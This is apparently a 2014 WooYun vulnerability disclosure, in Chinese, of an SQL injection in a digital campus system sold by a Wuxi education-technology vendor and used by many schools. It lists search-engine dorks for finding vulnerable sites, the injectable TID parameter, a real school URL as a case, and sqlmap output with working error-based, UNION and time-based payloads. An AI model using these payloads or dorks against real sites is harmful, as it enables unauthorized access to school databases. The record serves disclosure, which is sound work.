漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-065457
漏洞标题:某通用型数字校园系统SQL注射漏洞(涉及大量学校)
相关厂商:cncert
漏洞作者: 神奇的路人甲
提交时间:2014-06-19 10:07
修复时间:2014-09-17 10:08
公开时间:2014-09-17 10:08
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:15
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-06-19: 细节已通知厂商并且等待厂商处理中
2014-06-23: 厂商已经确认,细节仅向厂商公开
2014-06-26: 细节向第三方安全合作伙伴开放
2014-08-17: 细节向核心白帽子及相关领域专家公开
2014-08-27: 细节向普通白帽子公开
2014-09-06: 细节向实习白帽子公开
2014-09-17: 细节向公众公开
简要描述:
0.0
详细说明:
无锡新座标教育技术有限公司 的数字化校园系统存在通用型SQL注射漏洞
装机量比较大。
谷歌关键词:intitle:校园 技术支持:无锡新座标教育技术有限公司
连接:
近4000收录量
SQL注射点:
DPMA/FWeb/WorkRoomWeb/Web/Index.aspx?TID=
谷歌关键词:inurl:DPMA/FWeb/WorkRoomWeb/Web/Index.aspx?TID=
连接:
35w收录
案例1:
http://szxy.ncjy.net/DPMA/FWeb/WorkRoomWeb/Web/Index.aspx?TID=1000210106
---
Place: GET
Parameter: TID
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: TID=1000210106 AND 8259=CONVERT(INT,(SELECT CHAR(113)+CHAR(108)+CHA
R(105)+CHAR(117)+CHAR(113)+(SELECT (CASE WHEN (8259=8259) THEN CHAR(49) ELSE CHA
R(48) END))+CHAR(113)+CHAR(112)+CHAR(111)+CHAR(116)+CHAR(113)))
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: TID=1000210106 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CHAR(
113)+CHAR(108)+CHAR(105)+CHAR(117)+CHAR(113)+CHAR(114)+CHAR(88)+CHAR(111)+CHAR(9
8)+CHAR(103)+CHAR(113)+CHAR(117)+CHAR(115)+CHAR(100)+CHAR(99)+CHAR(113)+CHAR(112
)+CHAR(111)+CHAR(116)+CHAR(113),NULL,NULL,NULL,NULL--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: TID=1000210106 AND 2239=(SELECT COUNT(*) FROM sysusers AS sys1,sysu
sers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6
,sysusers AS sys7)
---
web server operating system: Windows
web application technology: ASP.NET, Nginx, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
漏洞证明:
修复方案:
过滤
版权声明:转载请注明来源 神奇的路人甲@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:15
确认时间:2014-06-23 22:19
厂商回复:
CNVD确认并复现所述情况(两至三个实例确认通用性),通过公开联系渠道暂未获知软件生产厂商联系方式,待处置。
最新状态:
暂无